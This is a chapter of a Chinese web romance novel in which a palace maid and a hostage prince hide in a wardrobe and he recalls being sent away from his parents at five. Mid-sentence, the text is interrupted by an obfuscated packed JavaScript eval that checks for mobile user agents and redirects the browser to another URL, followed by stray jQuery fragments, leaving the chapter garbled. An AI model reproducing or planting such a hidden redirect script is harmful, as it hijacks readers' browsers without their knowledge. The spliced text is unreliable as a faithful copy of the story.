25. 第 25 章
作品:《与质子出逃后》 苏博纳的嗓音在房间内回荡着。
裴籽怔忪片刻,愣了一下,眼底的泪水流淌得更凶。
“多依赖我一些,让我来保护你,好吗?”
又是一句裴籽不知道该如何回答的询问,她的嘴唇上下碰了一下,没有同意也不算拒绝。
其实苏博纳并不觉得两个人挤在这么一个衣柜里是个明智之举,可奈何裴籽惊魂未定,此时是万万不会出来的。
他思虑片刻,吹灭烛火放到身侧,曲下身躯钻进衣柜中。
随着柜门被关上的一瞬,四周瞬间陷入一片漆黑,本就狭小的空间,因为苏博纳的加入变得更加闭塞。
狭小又封闭的空间让苏博纳分不清裴籽与自己当下究竟是怎样的姿态,只能从拍打身上的呼吸,以及那种人为的体感认定出,裴籽就是在自己的身侧的。
想必,还会是很近的距离。
“你,还在哭吗?”
苏博纳率先想要打破这股宁静的氛围,以至于问出一个极致愚蠢的问题。
身侧没有应答的回音,发丝扫在苏博纳皮肤上被带起的空气,却刺激着他的体感。
摇头,是在否认吗?他不禁怀疑的想。
“你……不用来的。”
耳畔传来软糯的声音,让苏博纳真情实感的意识到二个人现在的距离有多近。
他尴尬的摸了摸鼻子,忽然有些庆幸昏暗的环境,才能遮住他不知为何冒红的鼻尖。
“你不出去,我总可以进来吧。”
苏博纳的回答实在不像是个合格回复,至少裴籽是这么觉着的。
泪水氤氲在唇角有些咸涩,她嗫嚅着嘴唇将想说的话吞咽回去。
“小……”
苏博纳的话滞在了嘴边,适应了昏暗环境的眼睛,逐渐看清了面前的场景。许是惊吓过了度,一张本就不太健康的小脸此刻更加苍白,连嘴唇都失去了原本的颜色。一对写满惶恐和无助的眼睛大而无神,紧紧盯着苏博纳看,似乎连呼吸都忘记了。
他的喉结滚动了两下,喉结处传来细微的摩擦声,在寂静的夜里显得尤为突兀。
奇异的声响让裴籽的视线上移了几分,噙着泪珠的眼眸眨了几下,紧接着再度意识到那个床前的黑影。
莫非是那人又回来抓她来了?
裴籽的双肩瞬间缩到一起,屏住呼吸,心脏怦怦乱跳,紧张得全身都绷直了。
如果她头顶有一对耳朵,此刻肯定是警惕地竖着的。苏博纳见裴籽如临大敌,忍不住暗中思忖。这样想着,视线也不禁落在了那出,幻想着若真有,也一定是一对毛绒绒的耳朵,同小宫女本人一样的。
嗯,还是有些白里透红的……
意识到自己在想什么,苏博纳猛地回过神来,脸上不由浮现出一抹赧色,心虚地挪开落在裴籽脸颊上的视线,喉结却不听话地再度滚动。
这一次裴籽清晰地听到,看到声音是从何处发出。她歪头对苏博纳盯了又盯,嘴巴微微努起略带不满。
岂不是晚间没吃饱,平白出声吓人一跳。
她捏了捏手,掌心贴上自己哭得发热的脸颊,左右揉了揉,待到温度降下来舒服些了,她才又慢吞吞地落下手缩回身后。
“我没有说谎,真的有人影。”她吸了吸鼻子,藏在袖下的双手拧了又拧,一双红彤彤的眼睛自上而下睨着苏博纳,微蹙的眉毛似有万般愁思。
苏博纳掌心捂着脖子,施了些力气压住喉结不可抑制滚动的趋势,可越是这样,越是控制不住。
他像个毛头小子抬头看向裴籽,眼神有些闪烁。一定是衣橱里的空间太小了,不然他怎么会觉得这样燥热,呼吸都快停止了呢?
裴籽也发现自己的异常了吧,不然怎么这样表情多变?苏博纳这样想着,觉得脑中的思绪简直要不受自己控制了。
他的视线再度往上移了移,正好对上那双红彤彤的大眼睛。他不自在地咳嗽了两声,掩饰着自己的窘迫。
“苏……你怎么又不说话了。”
裴籽捻着指尖,指甲有些孩子气的在苏博纳的手背上刮了一下——那只覆在脖子上的。
!
苏博纳的手一顿,手背传来的轻痒让他的身躯微僵,呼吸也跟着变得不顺畅起来。
他的喉咙不断滚动着,就好像那修剪的光滑圆润的指甲,不是刮在手背,而是直接划在喉咙处,并沿途渗透入皮肉。
“你......你......”
苏博纳不自然地垂下眼睑,支支吾吾了半天,都没找出一句完整的话语来,只好硬生生憋出一句:“我听了。”
此地无银三百两。
裴籽在心中腹诽了一番,嘟囔着苏博纳分明还是不信自己的。
“说谎。”裴籽干脆利落得软着嗓子下出结论,“你不说话,也没听。苏……你真过分。”
分明是责备的话语,可经她口一说出,却满是撒娇的味道。
耶?
小宫女越来越会表达自己的想法了。并且,还是那么可爱。
苏博纳听到裴籽这话,嘴角不自觉勾了勾,心情也跟着飞扬起来。
但是——
“小裴,我的名字真就那么烫嘴吗?”苏博纳故作委屈的反问道:“不是质子质子的喊着伤人心,就是苏了好半天没了下文,真是叫人好生难过啊。”
闻言,裴籽的脸瞬间变成了猪肝色,再加上苏博纳戏做的足,裴籽本就被戳中心虚处,避着他的视线躲,听着他这义愤填膺的语气,还真以为那人被自己的态度伤了心。一时间手忙脚乱地不知该作何解释,心急之下竟想去擦拭掉苏博纳脸上不知是否存在的泪水。
苏博纳看着裴籽慌乱的小动作,还有些小得意,勾着嘴角忍不住逗她,“哎呀,总是这样缺称少呼,我们逃亡在外身份伪装,很容易被识破的呀。”
察觉到面前人因为自己的话明显紧张起来,苏博纳掐着大腿憋住笑,“既然如此,我就只能委屈自己一下,让小裴喊我声哥哥啦。”
他的尾调拖长上扬,故作为难的模样,嘴角却是坏笑。
“你!”裴籽气鼓鼓地瞪着苏博纳,掷地有声的哼了一下。
苏博纳不知为何,就是喜欢看裴籽因着害羞而涨红的脸蛋,就像现在这样,生动活泼的紧。
甚至他觉得,在这样封闭狭小的小衣橱里,裴籽似乎才愿意卸下全身紧绷的枷锁,两个人的距离才算真的在这么久以来不容易地开始拉近。
“呼”
苏博纳向裴籽的方向又靠近几分,以便曲起的一双腿能够稍微伸展的舒服些。
“好了,不逗你了。”
他不太容易地舒展了一下双臂,一手随意地搭在裴籽身后,总之一切怎么舒服怎么来。
“既然如此,我把我的小名说与你听吧。”
小名?
裴籽愣了愣,下意识地点头。
“苏子。如何,我的小名很好听吧。”苏博纳轻笑着,眸中闪动着星星点点的光芒,像是陷入了眸中甜蜜的回忆。
“我母后取的这个名字,她说我是稷朝唯一的皇子,皇城
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308780|197869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的明珠,她与父皇唯一的孩子。”
苏博纳说着说着,眼底的笑意越发浓烈起来,嘴角的弧度越扯越高,仿佛已经能够预想到不久后一家团聚的景象了。
裴籽点头,“你母后取得小名,自然是极好的。”
其实她并不懂名字赋予的寓意,她们每个佛女都姓裴,据说是很久之前的第一任佛女替皇室挡了大灾,那人就姓裴,于是从此以后大家就都如此了。
她们连名字都是起得随意的,又哪里会有什么小名呢。但她想,还是皇子时的苏博纳,一定是很开心很开心的吧。
“可是,她们待你这样好,为何还要送你到熵国做质子呢?”
裴籽没有特意找不快的意思,她只是真的想知道,这样爱护呵护的一个孩子,如何忍心的。她断不会贸然定论皇室会对质子如何不公,可终归是寄人篱下,身为筹码,难免会被人轻贱。
苏博纳抿了抿唇,沉默了片刻,才低低开口:“因为,他们真的只有我一个孩子。”他的声音很轻很柔,可落在裴籽耳朵里,却是重若千斤。
熵国国土富饶,皇室开枝散叶,光是顺利活至如今的皇子就是十八了,更不晃诸多公主,私生。而偌大的稷朝,居然只有一个皇子,这该是多么的宠爱啊。
“那……”
“那一年我五岁。”像是知道她想说些什么,苏博纳率先于她开口,“那是我过得最不宏大的一个生辰,但确实父皇母后陪了我一整天的一个生辰。我只记得,那日从起床后,他们就一只陪在我的身边,没有群臣候场的大宴席,只有我们三人的家宴。没有歌姬舞姬的载歌载舞,有的是母后唱了一遍又一遍的摇篮曲。
那时我还好奇,还不到入寝时间,怎么母后就唱起了摇篮曲,更何况今天可就是我五岁生辰了,再不是要听摇篮曲才能安睡的小屁孩了。”
他的神情带着一抹淡淡的无奈和追忆,眼眶泛着淡金色的光辉,仿佛回到了那段温馨的日子。
裴籽觉得,自己该是清楚这个对于苏博纳而言不同寻常的一天。
那一年,皇上终于对不愿继续宽容其他小国了,以梁将军,温将军为首的大军一举出兵,轻而易举的就将周边各国一举攻破。那一年,各国送来的质子,数不胜数。
甚至,总管太监赵公公为了宣导皇帝盛名,特地办了一场洗尘戏。穿着各式服装的质子被围在大殿中央,由小太监们提着一桶又一桶冰水从他们头顶浇下,那时,他们称之为圣水,是为洗尘接风,掸去战败国的恶气。
他们是戏的主角,但戏的走向,他们说了不算。在戏的全程,须有佛女诵经,祈福。那个时候裴籽还没有资格参与到这类事宜中去,是由姑姑带着她们遥遥地看着。
那天,那群人里,有苏博纳吗?
她应是没看清的。
“你,就这样离开了?”裴籽轻咬着指腹,温声问道。
一个刚刚五岁的孩子,一个天潢贵胄的孩子,才享受完爹娘的温情,就要忍受别离,如何能承受的住。
苏博纳的眼睛暗淡下去,随即又重新亮了,“对啊,这是我身为皇子的职责,我当然义不容辞。”
他说谎了。
他只记得那天自己哭得很厉害,很狼狈,也很凶,母后抱着他,不停地哄,一遍又一遍。他哭闹着不要离开父皇母后身边。他还记得,向来坚强的父皇背过了身子,母后哭得眼睛都肿了。
可是无济于事,直到马车嘀嗒上光的那一刻他才明白,为何那天母后要一遍一遍的唱着摇篮曲,因为那一天,他等不完了。

